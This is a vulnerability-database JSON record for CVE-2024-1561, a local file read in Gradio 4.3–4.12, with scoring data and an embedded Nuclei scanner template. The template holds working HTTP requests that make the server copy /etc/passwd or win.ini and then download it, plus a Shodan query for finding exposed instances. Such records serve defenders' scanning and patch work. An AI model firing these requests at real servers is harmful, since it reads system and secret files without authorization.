{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2024-1561/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2024-1561/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2024-1561/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2024-1561/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2024-1561/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2024-1561"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2024-1561"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.09314,
      "kev": false,
      "percentile": 0.95198
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2024/CVE-2024-1561.yaml",
      "nuclei_template_severity": "high",
      "nuclei_template_yaml": "id: CVE-2024-1561\n\ninfo:\n  name: Gradio 4.3-4.12 - Local File Read\n  author: nvn1729,Diablo\n  severity: high\n  description: |\n    Local file read by calling arbitrary methods of Components class between Gradio versions 4.3-4.12\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to read files on the server\n  remediation: |\n    Update to Gradio 4.13.0\n  reference:\n    - https://huntr.com/bounties/4acf584e-2fe8-490e-878d-2d9bf2698338\n    - https://github.com/DiabloHTB/CVE-2024-1561\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-1561\n    - https://github.com/gradio-app/gradio/commit/24a583688046867ca8b8b02959c441818bdb34a2\n    - https://www.gradio.app/changelog#4-13-0\n    - https://www.horizon3.ai/attack-research/disclosures/exploiting-file-read-vulnerabilities-in-gradio-to-steal-secrets-from-hugging-face-spaces/\n  classification:\n    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2024-1561\n    cwe-id: CWE-29\n    epss-score: 0.09314\n    epss-percentile: 0.95198\n    cpe: cpe:2.3:a:gradio_project:gradio:*:*:*:*:python:*:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    shodan-query: html:\"__gradio_mode__\"\n    product: gradio\n    vendor: gradio_project\n  tags: cve,cve2024,intrusive,unauth,gradio,lfi,lfr,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /component_server HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"component_id\": \"1\", \"data\": \"{{path}}\", \"fn_name\": \"move_resource_to_block_cache\", \"session_hash\": \"aaaaaaaaaaa\"}\n\n      - |\n        GET /file={{download_path}} HTTP/1.1\n        Host: {{Hostname}}\n\n    extractors:\n      - type: regex\n        part: body\n        name: download_path\n        internal: true\n        group: 1\n        regex:\n          - \"\\\"?([^\\\"]+)\"\n\n    payloads:\n      path:\n        - c:\\\\windows\\\\win.ini\n        - /etc/passwd\n\n    stop-at-first-match: true\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"root:.*:0:0:\"\n          - \"\\\\[(font|extension|file)s\\\\]\"\n        condition: or\n\n      - type: word\n        part: content_type\n        words:\n          - \"text/plain\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100a2478d8efa1f795e0548bd75d70e133f97415b26d3225f025a14756fcceca2b602205dd4f1171b32b210bc343fa366f3d49ea4143aa7fad18961333db7dbc95f6293:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2024-1561"
}